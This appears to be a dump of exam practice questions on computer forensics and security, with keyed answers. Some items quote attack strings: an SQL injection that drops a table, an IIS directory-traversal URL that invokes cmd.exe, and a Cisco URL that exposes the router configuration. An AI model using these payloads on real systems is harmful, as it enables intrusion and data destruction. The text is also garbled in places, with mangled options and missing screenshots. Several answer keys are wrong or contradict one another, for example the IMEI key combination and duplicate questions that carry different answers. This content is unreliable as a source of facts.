While collecting Active Transaction Logs using SQL Server Management Studio, the query Select * from ::fn_dblog(NULL, NULL) displays the active portion of the transaction log file. Here, assigning NULL values implies?
A. Start and end points for log sequence numbers are specified
B. Start and end points for log sequence numbers are not specified
C. Start and end points for log files are specified
D. Start and end points for log files are not specified
Answer: D (LEAVE A REPLY)

NEW QUESTION: 214
Amber, a black hat hacker, has embedded malware into a small enticing advertisement and posted it on a popular ad-network that displays across various websites. What is she doing?
A. Malvertising
B. Click-jacking
C. Compromising a legitimate site
D. Spearphishing
Answer: A (LEAVE A REPLY)

NEW QUESTION: 215
If the partition size is 4 GB, each cluster will be 32 K.
Even if a file needs only 10 K, the entire 32 K will be allocated, resulting in 22 K of _____.
A. Slack space
B. Sector space
C. Cluster space
D. Deleted space
Answer: A (LEAVE A REPLY)

NEW QUESTION: 216
Volatile Memory is one of the leading problems for forensics. Worms such as code Red are memory resident and do write themselves to the hard drive, if you turn the system off they disappear. In a lab environment, which of the following options would you suggest as the most appropriate to overcome the problem of capturing volatile memory?
A. Create a Separate partition of several hundred megabytes and place the swap file there
B. Give the Operating System a minimal amount of memory, forcing it to use a swap file
C. Use VMware to be able to capture the data in memory and examine it
D. Use intrusion forensic techniques to study memory resident infections
Answer: A (LEAVE A REPLY)

NEW QUESTION: 217
If an attacker's computer sends an IPID of 31400 to a zombie computer on an open port in IDLE scanning, what will be the response?
A. 31402
B. 31401
C. 31399
D. The zombie will not send a response
Answer: B (LEAVE A REPLY)

NEW QUESTION: 218
The process of restarting a computer that is already turned on through the operating system is called?
A. Cold boot
B. Warm boot
C. Ice boot
D. Hot Boot
Answer: B (LEAVE A REPLY)

NEW QUESTION: 219
What is the size value of a nibble?

A. 0.5 bit
B. 0.5 kilo byte
C. 2 bits
D. 0.5 byte
Answer: D (LEAVE A REPLY)

NEW QUESTION: 220
You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for an open position: 7+ years experience in Windows Server environment 5+ years experience in Exchange 2000/2003 environment Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired, MCSE, CEH preferred No Unix/Linux Experience needed What is this information posted on the job website considered?
A. Information vulnerability
B. Competitive exploit
C. Social engineering exploit
D. Trade secret
Answer: A (LEAVE A REPLY)

NEW QUESTION: 221
When a user deletes a file, the system creates a $I file to store its details. What detail does the $I file not contain?
A. File origin and modification
B. File Size
C. File Name
D. Time and date of deletion
Answer: A (LEAVE A REPLY)

NEW QUESTION: 222
With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches _____
A. 100
B. 10
C. 0
D. 1
Answer: C (LEAVE A REPLY)

NEW QUESTION: 223
During an investigation, Noel found the following SIM card from the suspect's mobile. What does the code 89

44 represent?

A. Issuer Identifier Number and TAC

B. TAC and Industry Identifier

C. Industry Identifier and Country code

D. Individual Account Identification Number and Country Code

Answer: C (LEAVE A REPLY)

NEW QUESTION: 224

Corporate investigations are typically easier than public investigations because:

A. the investigator has to get a warrant

B. the investigator does not have to get a warrant

C. the users have standard corporate equipment and software

D. the users can load whatever they want on their machines

Answer: (SHOW ANSWER)

NEW QUESTION: 225

The Apache server saves diagnostic information and error messages that it encounters while processing requests. The default path of this file is usr/local/apache/logs/error.log in Linux. Identify the Apache error log from the following logs.

A. 127.0.0.1 - frank [10/0ct/2000:13:55:36 -0700]"GET I apache_pb.gif HTTP/ 1.0" 200 2326

B. [Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client denied by server configuration: /export/ home/live/ap/htdocs/test

C. http://victim.com/scripts/..%c0%af../..%cOo/oaf
../..%c0%af../..%c0%af../..%c0%af../..
%c0%af../ ..
%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\Winnt\system32\Logfiles\W3S VC1

D. 127.0.0.1 - - [10/Apr/2007:1 0:39:11 +0300]] [error] "GET I apache_pb.gif HTTP/ 1.0" 200 2326

Answer: B (LEAVE A REPLY)

NEW QUESTION: 226

Wireless network discovery tools use two different methodologies to detect, monitor and log a WLAN device (i.e. active scanning and passive scanning). Active scanning methodology involves _____and waiting for responses from available wireless networks.

A. Sniffing the packets from the airwave

B. Broadcasting a probe request frame

C. Inspecting WLAN and surrounding networks

D. Scanning the network

Answer: B (LEAVE A REPLY)

NEW QUESTION: 227
Which program is the oot loader?when Windows XP starts up?Which program is the ?oot loader? when Windows XP starts up?
A. LILO
B. NTLDR
C. KERNEL.EXE
D. LOADER
Answer: B (LEAVE A REPLY)

NEW QUESTION: 228
You are asked to build a forensic lab and your manager has specifically informed you to use copper for lining the walls, ceilings, and floor. What is the main purpose of lining the walls, ceilings, and floor with copper?
A. To strengthen the walls, ceilings, and floor
B. To avoid electromagnetic emanations
C. To control the room temperature
D. To make the lab sound proof
Answer: (SHOW ANSWER)

NEW QUESTION: 229
What will the following command produce on a website login page?
SELECT email, passwd, login_id, full_name FROM members
WHERE email = 'someone@somehwere.com';
DROP TABLE members; --'
A. Retrieves the password for the first user in the members table
B. This command will not produce anything since the syntax is incorrect
C. Deletes the entire members table
D. Inserts the Error! Reference source not found. email address into the members table
Answer: C (LEAVE A REPLY)
The third line deletes the table named members.

NEW QUESTION: 230

When making the preliminary investigations in a sexual harassment case, how many investigators are you recommended having?

A. Three

B. Four

C. Two

D. One

Answer: C (LEAVE A REPLY)

NEW QUESTION: 231

John is using Firewalk to test the security of his Cisco PIX firewall. He is also utilizing a sniffer located on a subnet that resides deep inside his network. After analyzing the sniffer log files, he does not see any of the traffic produced by Firewalk. Why is that?

A. Firewalk cannot be detected by network sniffers

B. Firewalk sets all packets with a TTL of one

C. Firewalk cannot pass through Cisco firewalls

D. Firewalk sets all packets with a TTL of zero

Answer: B (LEAVE A REPLY)

NEW QUESTION: 232

Injection flaws are web application vulnerabilities that allow untrusted data to be Interpreted and executed as part of a command or query. Attackers exploit injection flaws by constructing malicious commands or queries that result in data loss or corruption, lack of accountability, or denial of access. Which of the following injection flaws involves the injection of malicious code through a web application?

A. Nmap Scanning

B. Password brute force

C. SQL Injection

D. Footprinting

Answer: C (LEAVE A REPLY)

NEW QUESTION: 233

You are running through a series of tests on your network to check for any security vulnerabilities. After normal working hours, you initiate a DoS attack against your external firewall. The firewall Quickly freezes up and becomes unusable. You then initiate an FTP connection from an external IP into your internal network. The connection is successful even though you have FTP blocked at the external firewall. What has happened?

A. The firewall failed-closed

B. The firewall ACL has been purged

C. The firewall failed-open

D. The firewall failed-bypass

Answer: C (LEAVE A REPLY)

NEW QUESTION: 234
Which of the following email headers specifies an address for mailer-generated errors, like "no such user" bounce messages (instead of the sender's address)?
A. Content-Type header
B. Content-Transfer-Encoding header
C. Mime-Version header
D. Errors-To header
Answer: D (LEAVE A REPLY)

NEW QUESTION: 235
What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?
A. Offset
B. Key escrow
C. Steganography
D. Rootkit
Answer: C (LEAVE A REPLY)

NEW QUESTION: 236
Bob works as an Information Security Analyst for a big finance company. One day, the anomaly-based intrusion detection system alerted that a volumetric DDOS targeting the main IP of the main web server was occurring. What kind of attack is it?
A. Advanced Persistent Threat (APT)
B. IDS Attack
C. Web Application Attack
D. Network Attack
Answer: D (LEAVE A REPLY)

NEW QUESTION: 237
Ron, a computer forensics expert, is investigating a case involving corporate espionage. He has recovered several mobile computing devices from the crime scene. One of the evidence that Ron possesses is a mobile phone from Nokia that was left in ON condition. Ron needs to recover the IMEI number of the device to establish the identity of the device owner. Which of the following key combinations can he use to recover the IMEI number?
A. *#06#
B. *IMEI#
C. #*06*#
D. #06#*
Answer: C (LEAVE A REPLY)

NEW QUESTION: 238
As a part of the investigation, Caroline, a forensic expert, was assigned the task to examine the transaction logs pertaining to a database named Transfers. She used SQL Server Management Studio to collect the active transaction log files of the database. Caroline wants to extract detailed information on the logs, including AllocUnitId, page id, slot id, etc. Which of the following commands does she need to execute in order to extract the desired information?
A. DBCC LOG(Transfers, 3)
B. DBCC LOG(Transfers, 0)
C. DBCC LOG(Transfers, 1)
D. DBCC LOG(Transfers, 2)
Answer: D (LEAVE A REPLY)

NEW QUESTION: 239
What feature of Decryption Collection allows an investigator to crack a password as quickly as possible?
A. Support for MD5 hash verification
B. Cracks every password in 10 minutes
C. Support for Encrypted File System
D. Distribute processing over 16 or fewer computers
Answer: D (LEAVE A REPLY)

NEW QUESTION: 240
Watson, a forensic investigator, is examining a copy of an ISO file stored in CDFS format. What type of evidence is this?
A. Data from a CD copied using Mac-based system
B. Data from a CD copied using Windows
C. Data from a DVD copied using Windows system
D. Data from a CD copied using Linux system
Answer: (SHOW ANSWER)

NEW QUESTION: 241
Which of the following statements is TRUE about SQL Server error logs?
A. SQL Server error logs record all the events occurred on the SQL Server and its databases
B. Forensic investigator uses SQL Server Profiler to view error log files
C. Trace files record, user-defined events, and specific system events
D. Error logs contain IP address of SQL Server client connections
Answer: B (LEAVE A REPLY)

NEW QUESTION: 242
Why would a company issue a dongle with the software they sell?
A. To provide wireless functionality with the software
B. To ensure that keyloggers cannot be used
C. To provide source code protection
D. To provide copyright protection
Answer: D (LEAVE A REPLY)

NEW QUESTION: 243
Ever-changing advancement or mobile devices increases the complexity of mobile device examinations. Which or the following is an appropriate action for the mobile forensic investigation?
A. Do not wear gloves while handling cell phone evidence to maintain integrity of physical evidence
B. If the phone is in a cradle or connected to a PC with a cable, then unplug the device from the computer
C. To avoid unwanted interaction with devices found on the scene, turn on any wireless interfaces such as Bluetooth and Wi-Fi radios
D. If the device's display is ON. the screen's contents should be photographed and, if necessary, recorded manually, capturing the time, service status, battery level, and other displayed icons
Answer: (SHOW ANSWER)

NEW QUESTION: 244
During the seizure of digital evidence, the suspect can be allowed touch the computer system.
A. False
B. True
Answer: A (LEAVE A REPLY)

NEW QUESTION: 245
Which of the following is not correct when documenting an electronic crime scene?
A. Document the physical scene, such as the position of the mouse and the location of components near the system
B. Document related electronic components that are difficult to find

C. Record the condition of the computer system, storage media, electronic devices and conventional evidence, including power status of the computer
D. Write down the color of shirt and pant the suspect was wearing
Answer: D (LEAVE A REPLY)

NEW QUESTION: 246
A forensics investigator needs to copy data from a computer to some type of removable media so he can examine the information at another location. The problem is that the data is around 42GB in size. What type of removable media could the investigator use?
A. Blu-Ray single-layer
B. HD-DVD
C. DVD-18
D. Blu-Ray dual-layer
Answer: D (LEAVE A REPLY)

NEW QUESTION: 247
Which of the following examinations refers to the process of providing the opposing side on a trial the opportunity to question a witness?
A. Witness Examination
B. Indirect Examination
C. Cross Examination
D. Direct Examination
Answer: C (LEAVE A REPLY)

NEW QUESTION: 248
The disk in the disk drive rotates at high speed, and heads in the disk drive are used only to read data.
A. False
B. True
Answer: A (LEAVE A REPLY)

NEW QUESTION: 249
How many possible sequence number combinations are there in TCP/IP protocol?
A. 4 billion
B. 1 billion
C. 32 million
D. 320 billion
Answer: (SHOW ANSWER)

NEW QUESTION: 250
If an attacker's computer sends an IPID of 31400 to a zombie computer on an open port in

IDLE scanning, what will be the response?
A. The zombie will not send a response
B. 31402
C. 31399
D. 31401
Answer: D (LEAVE A REPLY)

NEW QUESTION: 251
Paraben Lockdown device uses which operating system to write hard drive data?Paraben? Lockdown device uses which operating system to write hard drive data?
A. Red Hat
B. Mac OS
C. Windows
D. Unix
Answer: C (LEAVE A REPLY)

NEW QUESTION: 252
What are the security risks of running a "repair" installation for Windows XP?
A. There are no security risks when running the "repair" installation for Windows XP
B. Pressing Shift+F10gives the user administrative rights
C. Pressing Shift+F1gives the user administrative rights
D. Pressing Ctrl+F10 gives the user administrative rights
Answer: (SHOW ANSWER)

NEW QUESTION: 253
File deletion is a way of removing a file from a computer's file system. What happens when a file is deleted in windows7?
A. The operating system marks the file's name in the MFT with a special character that indicates that the file has been deleted
B. The last letter of a file name is replaced by a hex byte code E5h
C. Corresponding clusters in FAT are marked as used
D. The computer looks at the clusters occupied by that file and does not avails space to store a new file
Answer: A (LEAVE A REPLY)

NEW QUESTION: 254
Harold is a computer forensics investigator working for a consulting firm out of Atlanta Georgia. Harold is called upon to help with a corporate espionage case in Miami Florida. Harold assists in the investigation by pulling all the data from the computers allegedly used in the illegal activities. He finds that two suspects in the company where stealing sensitive corporate information and selling it to competing companies. From the email and instant messenger logs recovered, Harold

has discovered that the two employees notified the buyers by writing symbols on the back of specific stop signs. This way, the buyers knew when and where to meet with the alleged suspects to buy the stolen material. What type of steganography did these two suspects use?

A. Grill cipher

B. Text semagram

C. Visual cipher

D. Visual semagram

Answer: (SHOW ANSWER)

NEW QUESTION: 255

You have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company IT department, you search through the server log files to find any trace of the intrusion. After that you decide to telnet into one of the company routers to see if there is any evidence to be found. While connected to the router, you see some unusual activity and believe that the attackers are currently connected to that router. You start up an ethereal session to begin capturing traffic on the router that could be used in the investigation. At what layer of the OSI model are you monitoring while watching traffic to and from the router?

A. Network

B. Transport

C. Session

D. Data Link

Answer: (SHOW ANSWER)

NEW QUESTION: 256

Which of the following Perl scripts will help an investigator to access the executable image of a process?

A. Lpsi.pl

B. Lspi.pl

C. Lspd.pl

D. Lspm.pl

Answer: (SHOW ANSWER)

NEW QUESTION: 257
Jim performed a vulnerability analysis on his network and found no potential problems. He runs another utility that executes exploits against his system to verify the results of the vulnerability test.
The second utility executes five known exploits against his network in which the vulnerability analysis said were not exploitable. What kind of results did Jim receive from his vulnerability analysis?
A. False negatives
B. False positives
C. True negatives
D. True positives
Answer: A (LEAVE A REPLY)

NEW QUESTION: 258
Which of the following is a database in which information about every file and directory on an NT File System (NTFS) volume is stored?
A. Master File Table
B. Master Boot Record
C. GUID Partition Table
D. Volume Boot Record
Answer: A (LEAVE A REPLY)

NEW QUESTION: 259
When a user deletes a file or folder, the system stores complete path including the original filename in a special hidden file called "INF02" in the Recycled folder. If the INF02 file is deleted, it is recovered when you _____
A. Undo the last act ion performed on the system
B. Use a recovery tool to undelete the file
C. Download the file from Microsoft website
D. Reboot Windows
Answer: D (LEAVE A REPLY)

NEW QUESTION: 260
After passing her CEH exam, Carol wants to ensure that her network is completely secure. She implements a DMZ, stateful firewall, NAT, IPSEC, and a packet filtering firewall. Since all security measures were taken, none of the hosts on her network can reach the Internet. Why is that?
A. NAT does not work with stateful firewalls
B. Stateful firewalls do not work with packet filtering firewalls
C. IPSEC does not work with packet filtering firewalls
D. NAT does not work with IPSEC
Answer: D (LEAVE A REPLY)

NEW QUESTION: 261
Jack Smith is a forensics investigator who works for Mason Computer Investigation Services. He is investigating a computer that was infected by Ramen Virus.
He runs the netstat command on the machine to see its current connections. In the following screenshot, what do the 0.0.0.0 IP addresses signify?
A. Those connections are in closed/waiting mode
B. Those connections are established
C. Those connections are in listening mode
D. Those connections are in timed out/waiting mode
Answer: C (LEAVE A REPLY)

NEW QUESTION: 262
Sectors are pie-shaped regions on a hard disk that store data. Which of the following parts of a hard disk do not contribute in determining the addresses of data?
A. Heads
B. Cylinder
C. Sectors
D. Interface
Answer: (SHOW ANSWER)

NEW QUESTION: 263
If the partition size Is 4 GB, each cluster will be 32 K.
Even If a file needs only 10 K, the entire 32 K will be allocated, resulting In 22 K of _____.
A. Slack space
B. Deleted space
C. Sector space
D. Cluster space
Answer: (SHOW ANSWER)

NEW QUESTION: 264
What technique is used by JPEGs for compression?
A. DCT
B. TIFF-8
C. ZIP
D. TCD
Answer: A (LEAVE A REPLY)

NEW QUESTION: 265
Which of the following is NOT a part of pre-investigation phase?
A. Creating an investigation team

B. Gathering evidence data
C. Gathering information about the incident
D. Building forensics workstation
Answer: B (LEAVE A REPLY)

NEW QUESTION: 266
Which of the following statements is incorrect when preserving digital evidence?
A. Remove the plug from the power router or modem
B. Document the actions and changes that you observe in the monitor, computer, printer, or in other peripherals
C. Turn on the computer and extract Windows event viewer log files
D. Verify if the monitor is in on, off, or in sleep mode
Answer: (SHOW ANSWER)

NEW QUESTION: 267
One way to identify the presence of hidden partitions on a suspect hard drive is to:One way to identify the presence of hidden partitions on a suspect? hard drive is to:
A. Examine the FAT and identify hidden partitions by noting an ?in the artition Type?fieldExamine the FAT and identify hidden partitions by noting an ??in the ?artition Type?field
B. Examine the LILO and note an ?in the artition Type?fieldExamine the LILO and note an ??in the ?artition Type?field
It is not possible to have hidden partitions on a hard drive
C. Add up the total size of all known partitions and compare it to the total size of the hard drive
Answer: C (LEAVE A REPLY)

NEW QUESTION: 268
You are working on a thesis for your doctorate degree in Computer Science. Your thesis is based on HTML, DHTML, and other web-based languages and how they have evolved over the years. You navigate to archive. org and view the HTML code of news.com. You then navigate to the current news.com website and copy over the source code. While searching through the code, you come across something abnormal: What have you found?
A. Trojan.downloader
B. Web bug
C. Blind bug
D. CGI code
Answer: B (LEAVE A REPLY)

NEW QUESTION: 269
What is the following command trying to accomplish?
A. Verify that TCP port 445 is open for the 192.168.0.0 network

B. Verify that NETBIOS is running for the 192.168.0.0 network
C. Verify that UDP port 445 is closed for the 192.168.0.0 network
D. Verify that UDP port 445 is open for the 192.168.0.0 network
Answer: D (LEAVE A REPLY)

NEW QUESTION: 270
Jim performed a vulnerability analysis on his network and found no potential problems. He runs another utility that executes exploits against his system to verify the results of the vulnerability test. The second utility executes five known exploits against his network in which the vulnerability analysis said were not exploitable. What kind of results did Jim receive from his vulnerability analysis?
A. True positives
B. True negatives
C. False positives
D. False negatives
Answer: D (LEAVE A REPLY)

NEW QUESTION: 271
Cylie is investigating a network breach at a state organization in Florida. She discovers that the intruders were able to gain access into the company firewalls by overloading them with IP packets. Cylie then discovers through her investigation that the intruders hacked into thecompany? firewalls by overloading them with IP packets. Cylie then discovers through her investigation that the intruders hacked into the company phone system and used the hard drives on their PBX system to store shared music files. What would this attack on the companycompany? phone system and used the hard drives on their PBX system to store shared music files. What would this attack on the company? PBX system be called?
A. Squatting
B. Crunching
C. Pretexting
D. Phreaking
Answer: D (LEAVE A REPLY)

NEW QUESTION: 272
You have used a newly released forensic investigation tool, which doesn't meet the Daubert Test, during a case. The case has ended-up in court. What argument could the defense make to weaken your case?
A. The tool hasn't been tested by the International Standards Organization (ISO)
B. The total has not been reviewed and accepted by your peers
C. Only the local law enforcement should use the tool
D. You are not certified for using the tool
Answer: B (LEAVE A REPLY)

NEW QUESTION: 273
What is the CIDR from the following screenshot?
A. /8D./8D./8
B. /32 B./32 B./32
C. /24A./24A./24
D. /16 C./16 C./16
Answer: A (LEAVE A REPLY)

NEW QUESTION: 274
Volatile Memory is one of the leading problems for forensics.
Worms such as code Red are memory resident and do not write themselves to the hard drive, if you turn the system off they disappear.
In a lab environment, which of the following options would you suggest as the most appropriate to overcome the problem of capturing volatile memory?
A. Give the Operating System a minimal amount of memory, forcing it to use a swap file
B. Use Vmware to be able to capture the data in memory and examine it
C. Use intrusion forensic techniques to study memory resident infections
D. Create a Separate partition of several hundred megabytes and place the swap file there
Answer: (SHOW ANSWER)

NEW QUESTION: 275
Pick the statement which does not belong to the Rule 804. Hearsay Exceptions; Declarant Unavailable.
A. Statement under belief of impending death
B. Statement of personal or family history
C. Statement against interest
D. Prior statement by witness
Answer: A (LEAVE A REPLY)

NEW QUESTION: 276

To which phase of the Computer Forensic Investigation Process does the Planning and Budgeting of a Forensics Lab belong?
A. Reporting Phase
B. Post-investigation Phase
C. Investigation Phase
D. Pre-investigation Phase
Answer: (SHOW ANSWER)

NEW QUESTION: 277
Which of the following reports are delivered under oath to a board of directors/managers/panel of the jury?
A. Verbal Informal Report
B. Written Formal Report
C. Verbal Formal Report
D. Written Informal Report
Answer: C (LEAVE A REPLY)

NEW QUESTION: 278
Your company's network just finished going through a SAS 70 audit. This audit reported that overall, your network is secure, but there are some areas that needs improvement. The major area was SNMP security. The audit company recommended turning off SNMP, but that is not an option since you have so many remote nodes to keep track of. What step could you take to help secure SNMP on your network?
A. Block access to TCP port 171
B. Change the default community string names
C. Block access to UDP port 171
D. Block all internal MAC address from using SNMP
Answer: (SHOW ANSWER)

NEW QUESTION: 279
Which of the following Android libraries are used to render 2D (SGL) or 3D (OpenGL/ES) graphics content to the screen?
A. Surface Manager
B. OpenGL/ES and SGL
C. WebKit
D. Media framework
Answer: B (LEAVE A REPLY)

NEW QUESTION: 280
The rule of thumb when shutting down a system is to pull the power plug. However, it has certain drawbacks. Which of the following would that be?

A. Any data not yet flushed to the system will be lost
B. All running processes will be lost
C. The /tmp directory will be flushed
D. Power interruption will corrupt the pagefile
Answer: A,B (LEAVE A REPLY)
Volitile memory will be lost.
Data is not flushed to the system, it is flushed to the disk.

NEW QUESTION: 281
This type of testimony is presented by someone who does the actual fieldwork and does not offer a view in court.
A. Victim advocate testimony
B. Technical testimony
C. Expert testimony
D. Civil litigation testimony
Answer: D (LEAVE A REPLY)

NEW QUESTION: 282
What document does the screenshot represent?
A. Evidence collection form
B. Expert witness form
C. Chain of custody form
D. Search warrant form
Answer: (SHOW ANSWER)

NEW QUESTION: 283
While analyzing a hard disk, the investigator finds that the file system does not use UEFI-based interface.
Which of the following operating systems is present on the hard disk?
A. Windows 7
B. Windows 8
C. Windows 10
D. Windows 8.1
Answer: A (LEAVE A REPLY)

NEW QUESTION: 284
Where does the Windows 10 system store the metadata of the deleted files?
A. INFO file
B. Deletes it permanently
C. INFO2 file
D. Recycle Bin

Answer: (SHOW ANSWER)

NEW QUESTION: 285
When using an iPod and the host computer is running Windows, what file system will be used?
A. HFS
B. FAT32
C. FAT16
D. iPod+
Answer: B (LEAVE A REPLY)

NEW QUESTION: 286
What type of attack sends SYN requests to a target system with spoofed IP addresses?
A. Cross site scripting
B. Ping of death
C. SYN flood
D. Land
Answer: (SHOW ANSWER)

NEW QUESTION: 287
Why should you never power on a computer that you need to acquire digital evidence from?
A. When the computer boots up, files are written to the computer rendering the data nclean? When the computer boots up, files are written to the computer rendering the data ?nclean
B. When the computer boots up, the system cache is cleared which could destroy evidence
C. Powering on a computer has no affect when needing to acquire digital evidence from it
D. When the computer boots up, data in the memory buffer is cleared which could destroy evidenceWhen the computer boots up, data in the memory? buffer is cleared which could destroy evidence
Answer: (SHOW ANSWER)

NEW QUESTION: 288

Which of the following commands shows you the username and IP address used to access the system via a remote login session and the Type of client from which they are accessing the system?
A. Net config
B. Net file
C. Net sessions
D. Net share
Answer: C (LEAVE A REPLY)

NEW QUESTION: 289
Which of the following statement is not correct when dealing with a powered-on computer at the crime scene?
A. If a computer is switched on and the screen is viewable, record the programs running on screen and photograph the screen
B. If a monitor is powered on and the display is blank, move the mouse slowly without depressing any mouse button and take a photograph
C. If the computer is switched off. power on the computer to take screenshot of the desktop
D. If a computer is on and the monitor shows some picture or screen saver, move the mouse slowly without depressing any mouse button and take a photograph of the screen and record the information displayed
Answer: C (LEAVE A REPLY)

NEW QUESTION: 290
One way to identify the presence of hidden partitions on a suspect's hard drive is to:
A. Examine the FAT and identify hidden partitions by noting an H in the partition Type field
B. It is not possible to have hidden partitions on a hard drive
C. Add up the total size of all known partitions and compare it to the total size of the hard drive
D. Examine the LILO and note an H in the partition Type field
Answer: C (LEAVE A REPLY)

NEW QUESTION: 291
Which of the following tools will help the investigator to analyze web server logs?
A. LanWhois
B. Deep Log Monitor
C. Deep Log Analyzer
D. XRY LOGICAL
Answer: C (LEAVE A REPLY)

NEW QUESTION: 292
A mobile operating system manages communication between the mobile device and other compatible devices like computers, televisions, or printers.

Which mobile operating system architecture is represented here?
A. webOS System Architecture
B. Windows Phone 7 Architecture
C. Android OS Architecture
D. Symbian OS Architecture
Answer: C (LEAVE A REPLY)

NEW QUESTION: 293
If you discover a criminal act while investigating a corporate policy abuse, it becomes a public-sector investigation and should be referred to law enforcement?
A. False
B. True
Answer: (SHOW ANSWER)

NEW QUESTION: 294
A suspect is accused of violating the acceptable use of computing resources as he has visited adult websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has removed any images he might have downloaded.
What can the investigator do to prove the violation? Choose the most feasible option.
A. Seek the help of co-workers who are eye-witnesses
B. Image the disk and try to recover deleted files
C. Approach the websites for evidence
D. Check the Windows registry for connection data (You may or may not recover)
Answer: B (LEAVE A REPLY)

NEW QUESTION: 295
First responder is a person who arrives first at the crime scene and accesses the victim's computer system after the incident. He or She is responsible for protecting, integrating, and preserving the evidence obtained from the crime scene.
Which of the following is not a role of first responder?
A. Protect and secure the crime scene
B. Package and transport the electronic evidence to forensics lab
C. Prosecute the suspect in court of law
D. Identify and analyze the crime scene
Answer: C (LEAVE A REPLY)

NEW QUESTION: 296
To which phase of the Computer Forensics Investigation Process does the Planning and Budgeting of a Forensics Lab belong?
A. Investigation Phase

B. Post-investigation Phase
C. Pre-investigation Phase
D. Reporting Phase
Answer: C (LEAVE A REPLY)

NEW QUESTION: 297
What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death?
A. ICMP header field
B. TCP header field
C. IP header field
D. UDP header field
Answer: A (LEAVE A REPLY)
The Ping of Death occurs when the ICMP Header field contains a packet size lager than 65507 bytes.

NEW QUESTION: 298
How many possible sequence number combinations are there in TCP/IP protocol?
A. 320 billion
B. 4 billion
C. 32 million
D. 1 billion
Answer: B (LEAVE A REPLY)

NEW QUESTION: 299
Which tool does the investigator use to extract artifacts left by Google Drive on the system?
A. Dependency Walker
B. RegScanner
C. RAM Capturer
D. PEBrowse Professional
Answer: C (LEAVE A REPLY)

NEW QUESTION: 300
You work as a penetration tester for Hammond Security Consultants. You are currently working on a contract for the state government of Californi a. Your next step is to initiate a DoS attack on their network. Why would you want to initiate a DoS attack on a system you are testing?
A. Show outdated equipment so it can be replaced
B. Demonstrate that no system can be protected against DoS attacks
C. Use attack as a launching point to penetrate deeper into the network
D. List weak points on their network
Answer: (SHOW ANSWER)

NEW QUESTION: 301
Which of the following tool creates a bit-by-bit image of an evidence media?
A. FileMerlin
B. AccessData FTK Imager
C. Xplico
D. Recuva
Answer: (SHOW ANSWER)

NEW QUESTION: 302
Log management includes all the processes and techniques used to collect, aggregate, and analyze computer-generated log messages. It consists of the hardware, software, network and media used to generate, transmit, store, analyze, and dispose of log data.
A. False
B. True
Answer: B (LEAVE A REPLY)

NEW QUESTION: 303
A packet is sent to a router that does not have the packet destination address in its route table. How will the packet get to its proper destination?
A. Reverse DNS
B. Gateway of last resort
C. Root Internet servers
D. Border Gateway Protocol
Answer: B (LEAVE A REPLY)

NEW QUESTION: 304
When a router receives an update for its routing table, what is the metric value change to that path?
A. Decreased by 1
B. Increased by 2
C. Increased by 1

D. Decreased by 2
Answer: C (LEAVE A REPLY)

NEW QUESTION: 305
Which part of the Windows Registry contains the user's password file?
A. HKEY_LOCAL_MACHINE
B. HKEY_CURRENT_CONFIGURATION
C. HKEY_USER
D. HKEY_CURRENT_USER
Answer: (SHOW ANSWER)
The answer is HKEY_CURRENT_USER\Identities\{VALUE}
Note the "user's" password file will be user specific, the Local Machine is the machine information

NEW QUESTION: 306
Which network attack is described by the following statement?
"At least five Russian major banks came under a continuous hacker attack, although online client services were not disrupted. The attack came from a wide-scale botnet involving at least 24,000 computers, located in
30 countries."
A. Buffer Overflow
B. Man-in-the-Middle Attack
C. Sniffer Attack
D. DDoS
Answer: D (LEAVE A REPLY)

NEW QUESTION: 307
At what layer does a cross site scripting attack occur on?
A. Session
B. Data Link
C. Presentation
D. Application
Answer: D (LEAVE A REPLY)

NEW QUESTION: 308
What TCP/UDP port does the toolkit program netstat use?
A. Port 15
B. Port 23
C. Port 7
D. Port 69
Answer: (SHOW ANSWER)

NEW QUESTION: 309
You are a security analyst performing a penetration tests for a company in the Midwest. After some initial reconnaissance, you discover the IP addresses of some Cisco routers used by the company. You type in the following URL that includes the IP address of one of the routers:
http://172.168.4.131/level/99/exec/show/config
After typing in this URL, you are presented with the entire configuration file for that router. What have you discovered?
A. Cisco IOS Arbitrary Administrative Access Online Vulnerability
B. HTTP Configuration Arbitrary Administrative Access Vulnerability
C. HTML Configuration Arbitrary Administrative Access Vulnerability
D. URL Obfuscation Arbitrary Administrative Access Vulnerability
Answer: (SHOW ANSWER)

NEW QUESTION: 310
Which program uses different techniques to conceal a malware's code, thereby making it difficult for security mechanisms to detect or remove it?
A. Obfuscator
B. Dropper
C. Packer
D. Injector
Answer: A (LEAVE A REPLY)

NEW QUESTION: 311
The evolution of web services and their increasing use in business offers new attack vectors in an application framework. Web services are based on XML protocols such as web Services Definition Language (WSDL) for describing the connection points, Universal Description, Discovery, and Integration (UDDI) for the description and discovery of Web services and Simple Object Access Protocol (SOAP) for communication between Web services that are vulnerable to various web application threats. Which of the following layer in web services stack is vulnerable to fault code leaks?
A. Access Layer
B. Presentation Layer
C. Discovery Layer
D. Security Layer
Answer: C (LEAVE A REPLY)

NEW QUESTION: 312
What is the name of the standard Linux command that can be used to create bit-stream images?
A. image
B. MD5
C. dd

D. mcopy
Answer: (SHOW ANSWER)

NEW QUESTION: 313
Which of the following is a record of the characteristics of a file system, including its size, the block size, the empty and the filled blocks and their respective counts, the size and location of the inode tables, the disk block map and usage information, and the size of the block groups?
A. Superblock
B. Inode bitmap block
C. Data block
D. Block bitmap block
Answer: (SHOW ANSWER)

NEW QUESTION: 314
What feature of Windows is the following command trying to utilize?
A. AFS
B. ADS
C. White space
D. Slack file
Answer: (SHOW ANSWER)

NEW QUESTION: 315
Operating System logs are most beneficial for Identifying or Investigating suspicious activities involving a particular host. Which of the following Operating System logs contains information about operational actions performed by OS components?
A. IDS logs
B. Audit logs
C. Event logs
D. Firewall logs
Answer: C (LEAVE A REPLY)

NEW QUESTION: 316
Why should you never power on a computer that you need to acquire digital evidence from?
A. When the computer boots up, the system cache is cleared which could destroy evidence
B. When the computer boots up, data in the memory buffer is cleared which could destroy evidence
C. When the computer boots up, files are written to the computer rendering the data nclean
